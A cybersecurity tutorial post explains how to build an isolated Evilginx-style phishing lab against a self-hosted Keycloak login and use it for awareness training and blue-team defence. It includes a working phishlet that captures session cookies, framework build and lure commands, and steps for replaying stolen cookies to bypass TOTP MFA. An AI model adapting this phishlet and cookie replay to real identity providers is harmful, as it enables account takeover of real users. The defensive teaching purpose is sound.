Set Up an Evilginx-Style Phishing Awareness Lab: Capture and Teach MFA Bypass Tactics Safely

🔎 Last updated 2 Nov 2026 · Editorial policy · Report an error

{
“@context”: “https://schema.org”,
“@type”: “TechArticle”,
“headline”: “Set Up an Evilginx-Style Phishing Awareness Lab: Capture and Teach MFA Bypass Tactics Safely”,
“description”: “Build a safe, isolated adversary-in-the-middle phishing lab to demonstrate MFA bypass tactics. Step-by-step setup, configs, and blue-team training guidance for security learners and engineers.”,
“author”: {“@type”: “Organization”, “name”: “Hmmnm – Cybersecurity Tutorials”},
“publisher”: {“@type”: “Organization”, “name”: “Hmmnm”},
“keywords”: “evilginx phishing awareness lab, adversary-in-the-middle, MFA bypass, phishing-resistant MFA”
}

TL;DR: What an Evilginx-Style Phishing Lab Is and Why You Need One

An Evilginx-style phishing awareness lab is an isolated, self-hosted environment where you run an adversary-in-the-middle (AiTM) reverse proxy against your own login application—capturing session cookies to prove, hands-on, that MFA can be bypassed without stealing a single password. You’re not phishing real users. You’re not touching real SaaS providers. You’re building a controlled demonstration that turns abstract AiTM theory into visceral, unforgettable training material for your workforce and actionable detection guidance for your blue team.

Tools like Evilginx and EvilProxy have industrialized session hijacking. Understanding them defensively requires seeing them work. This guide walks you through building that lab safely, legally, and repeatably.

How Adversary-in-the-Middle Phishing Defeats MFA (Plain English)

Traditional credential phishing has a well-known weakness: stolen passwords are useless against MFA. Enter the AiTM reverse proxy, which throws that weakness out the window.

Here’s the mechanism. The attacker deploys a proxy on a lookalike domain—say, login-microsoftonline.example.com instead of the real thing. When a victim enters credentials into the phishing page, the proxy forwards them to the genuine service in real time. The service responds with its MFA challenge; the proxy relays that too. The victim dutifully enters their TOTP code or approves a push notification, the real service accepts it, and—here’s the kill—issues a session cookie to the proxy, not the victim’s browser. The attacker replays that cookie from anywhere in the world and walks straight past MFA.

Notice what didn’t happen: no password cracking, no MFA code guessing, no token forgery. The proxy is a transparent relay for a fully legitimate authentication flow. OWASP classifies this pattern under session hijacking, and Microsoft observed AiTM campaigns like Silk Typhoon-affiliated token theft operations driving a large share of cloud account compromises—because session cookies simply aren’t bound to the browser that earned them.

That’s the vulnerability your lab must demonstrate: MFA authenticates the person; it doesn’t authenticate the session’s custody.

Legal and Safety Ground Rules Before You Deploy Anything

Phishing simulation tooling is a dual-use weapon, and the legal line is sharp.

• Written authorization first. Even inside your own organization, get a signed scope document from leadership before running any capture exercise. Consent-based participation, documented.
• Lab targets only. Your AiTM proxy points exclusively at a self-hosted login app you own. Never configure a phishlet against Microsoft, Google, Okta, or any real identity provider.
• No phishing real users. Test subjects must be volunteers participating knowingly in training—not colleagues who clicked a “realistic” lure in their actual inbox. If you want realistic campaign metrics, that’s a separately authorized simulation program (see CISA’s guidance on phishing simulation best practices at cisa.gov).
• No egress to real domains. The lab must be incapable of reaching the public internet, which makes scope drift technically impossible rather than merely policy-prohibited.
• Data hygiene. Captured credentials and cookies from test accounts are synthetic; still, delete them after each exercise.

US law (the Computer Fraud and Abuse Act) and equivalents like the UK Computer Misuse Act don’t care that you “meant well.” Isolation is your legal moat—build it before you build anything else.

Lab Architecture and Network Isolation Requirements

Your baseline architecture needs three components on an isolated network segment:

• Attacker VM: Kali Linux or a plain Ubuntu 22.04+ host running the AiTM framework.
• Victim VM: A standard browser workstation simulating the target user.
• Target server VM: Your self-hosted OIDC application with TOTP-based MFA enabled.

Isolation requirements, in order of importance:

1. No external DNS resolution. Run a local DNS server (dnsmasq or Pi-hole) that resolves your fake phishing domain and the real-looking target domain to internal RFC 1918 addresses only. Configure the VMs with no upstream DNS forwarder—or block port 53 outbound at the hypervisor.
2. Host-only or internal virtual network. VirtualBox internal network, VMware host-only, or a dedicated VLAN with no gateway to the internet.
3. Firewall default-deny egress. Explicitly permit only intra-lab traffic (ports 443, 80, 53).
4. Snapshots before every session. Roll back the lab to a clean state after each exercise so captured sessions and modified configs never linger.

Test the isolation: from the attacker VM, attempt to resolve and reach google.com. If it succeeds, stop and fix it. You’re not ready.

Building the Practice Target: A Local MFA Login App

Instead of proxying Microsoft 365, deploy Keycloak—an open-source identity provider that implements OIDC and native TOTP enrollment.

# On the target server VM (Ubuntu 22.04)
docker run -d --name keycloak 
  -p 8443:8443 
  -e KEYCLOAK_ADMIN=admin 
  -e KEYCLOAK_ADMIN_PASSWORD=LabAdmin!2024 
  quay.io/keycloak/keycloak:24.0 start --hostname-strict=false

Configuration steps inside the Keycloak admin console:

1. Create a realm called labcorp with a test user (alice).
2. Configure required actions to enforce Configure OTP on first login—Keycloak uses standard TOTP compatible with Google Authenticator or FreeOTP.
3. Enroll alice‘s TOTP authenticator and verify login requires password + code.
4. Note the login URL pattern: https://target.lab:8443/realms/labcorp/protocol/openid-connect/auth.

Add target.lab to your local DNS so all lab VMs resolve it internally. Keycloak is deliberately chosen here because its login flow mimics real IdP behavior—redirect chains, session cookies, TOTP challenges—giving your proxy a realistic target without ever touching a production tenant.

Installing and Configuring the AiTM Framework in the Lab

Now the fun part. Clone the framework (we’ll reference the Evilginx3 pattern—the original by Kuba Gretzky, mgp25/evilginx2 lineage) on the attacker VM:

git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets

For HTTPS interception, generate a self-signed certificate authority and install it on the victim VM’s browser. Evilginx will proxy TLS and present certs for your fake domain; a locally trusted CA kills the browser warnings that would otherwise spoil the demo.

Write a phishlet targeting your Keycloak instance:

name: labcorp
proxy_domains:
  - phish.lab
min_ver: 2.4.0
proxy_hosts:
  - phish_sub: login
    orig_sub: target
    domain: lab
    session: true
    is_landing: true
sub_filters:
  - tr_on: true
    hostname: '{hostname}'
    search: 'https://target.lab:8443'
    replace: 'https://login.phish.lab:8443'
auth_tokens:
  - domain: '.lab'
    keys: ['KEYCLOAK_SESSION', 'KEYCLOAK_IDENTITY']
    type: cookie
login:
  domain: 'target.lab'
  path: '/realms/labcorp/protocol/openid-connect/auth'

Enable it:

phishlets hostname labcorp login.phish.lab
phishlets enable labcorp
lures create labcorp
lures get-url 0

Framework syntax varies by version—read the phishlet documentation in the repo you clone rather than cargo-culting configs from the internet. The structural elements above (proxy host, sub-filters rewriting origin URLs to proxy URLs, session cookie capture keys) are the concepts that matter.

Running the Capture: Walk Through a Simulated MFA Bypass

The payoff moment. On the victim VM:

1. Open the lure URL: https://login.phish.lab/....
2. The proxy fetches the real Keycloak login page, rewrites URLs, and serves it seamlessly. The victim sees a pixel-perfect login page at a plausible URL.
3. Enter alice‘s password. Watch the evilginx console: [verification] : alice : password captured.
4. Enter the live TOTP code from the authenticator app. Console: [verification] : alice : totp code relayed.
5. Keycloak issues a genuine session. Console: [session] : captured cookies : KEYCLOAK_IDENTITY, KEYCLOAK_SESSION.

Now replay. From the attacker VM—or a fresh browser profile with the same local CA installed—open the developer tools on login.phish.lab (the proxy accepts replayed requests), inject the captured cookies via the storage inspector or an extension like Cookie-Editor, and navigate to the authenticated dashboard. You are logged in as alice with zero knowledge of her password and an MFA code that expired minutes ago.

Screenshot every step. This artifact chain is the core deliverable of the entire lab.

Teaching With It: Turning Captures into Awareness Training

A captured cookie is a prop; the training narrative is the product.

Structure awareness sessions around three demonstrations:

• The URL reveal. Show the victim’s browser side by side with the real login URL. The lookalike domain (login.phish.lab vs target.lab) is the red flag users must learn to check—before entering anything, every time.
• The “MFA approved it” illusion. Play back the flow showing a user who did everything right—strong password, timely TOTP—still getting compromised. This reframes MFA from a shield into a partial control, which is the single most valuable mindset shift the lab produces.
• The replay. Show the attacker logging in from a “different country” (a second VM) using only stolen cookies.

For tabletop exercises, present screenshots out of order and ask participants to identify the point of no return. It’s almost always earlier than they think.

Blue-Team Detection and Hardening Against AiTM Phishing

Once you understand the attack, defense becomes concrete:

• Phishing-resistant MFA. FIDO2/WebAuthn passkeys cryptographically bind authentication to the origin—the browser refuses to sign a challenge for login.phish.lab even if the proxy relays it. This is the definitive answer to AiTM. Migrate accordingly; TOTP and push approvals are interim controls. Per CISA guidance (Phishing Guidance: Stopping the Attack Cycle), phishing-resistant MFA is the top-priority mitigation.
• Conditional access. Microsoft Entra ID, Okta, and Google Workspace can flag impossible-travel logins, unfamiliar devices, and token replay characteristics—session cookies stolen from a residential proxy exit node often land on a different ASN than the authentication.
• Token binding / device-bound sessions. Emerging standards bind session tokens to the TPM or secure enclave of the originating device, making cookie replay inert.
• Telemetry. Alert on session reuse across geographies, session token lifetimes exceeding policy, and authentication flows where the TLS fingerprint of the session’s browser changes mid-session.
• Domain monitoring. Services likeCERT-coordinated brand monitoring or dnstwist-style lookalike scanning catch typosquatted proxy domains before the first lure ships.

Measuring Lab Results: Metrics That Matter

A lab without metrics is a demo. Track three numbers across training cycles:

• Click rate — who opened the lure.
• Submission rate — who entered credentials or a TOTP code. This is the metric AiTM specifically weaponizes; watch it drop after training.
• Report rate — who flagged the lure to security. Rising report rates with falling submission rates is the signature of a working program.

Re-test quarterly with varied lures. A single campaign proves nothing; trend lines prove everything.

Common Lab Setup Pitfalls and Troubleshooting

• Certificate warnings ruining the demo. The victim browser doesn’t trust your CA. Import the root cert into the OS trust store (not just Firefox’s), or install it per-browser.
• DNS leaks. The victim VM silently forwarding to upstream resolvers means your proxy domain resolves to nothing—or worse, a real domain. Verify with nslookup before every session.
• SameSite cookie issues. Modern browsers mark cookies SameSite=Lax by default; Keycloak’s session cookies set explicitly, but if your capture keys miss them, extend the phishlet’s auth_tokens domain to cover the cookie’s actual domain attribute.
• Scope drift. The most dangerous failure: reconfiguring the lab “just to test” against a real provider. If your network isolation works, this is impossible. If it doesn’t, you don’t have a lab.
• Stale snapshots. Sessions and captured cookies persisting between exercises contaminate results. Snap before, roll back after, every time.

Frequently Asked Questions

Is running an Evilginx-style phishing framework legal?

Only with explicit authorization, against lab-owned targets and consenting participants. Phishing real users or proxying real providers (Microsoft, Google, Okta) without written approval likely violates computer fraud laws regardless of intent. Your lab’s network isolation is your primary legal safeguard—make real domains unreachable by design.

Can MFA be bypassed if I use an authenticator app?

Yes. AiTM proxies relay TOTP codes in real time—your six-digit code is valid the moment you type it—and then steal the resulting session cookie, which grants access without further MFA prompts. Phishing-resistant methods like FIDO2 and passkeys stop this by cryptographically binding the authentication to the legitimate domain.

What is the best defense against adversary-in-the-middle phishing?

Phishing-resistant MFA (FIDO2 passkeys), layered with conditional access policies that detect anomalous session behavior, and user training focused on URL verification before credential entry. No single control is sufficient, but passkeys eliminate the core attack mechanism.

Do I need a real domain to run the lab?

No—use local DNS (a dnsmasq instance or hosts-file entries) and self-signed certificates against a self-hosted login app like Keycloak inside an isolated network. This is safer, free, and legally cleaner than registering lookalike domains.

How often should phishing awareness tests be run?

Regularly—quarterly is a common baseline—with varied templates and lure types, tracking click, submission, and report rates over time. Trend improvement matters more than any single campaign’s numbers.

Related reading

• Build a Phishing Detection Lab: Analyze Real Headers, Domains and Lookalikes with free MHT and Python
• Harden Your Docker Images: Distroless, Rootless and Read-Only Filesystems (with Real Dockerfiles)

Published by Hmmnm

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the Hmmnm team.

Learning Paths · About Hmmnm · Editorial policy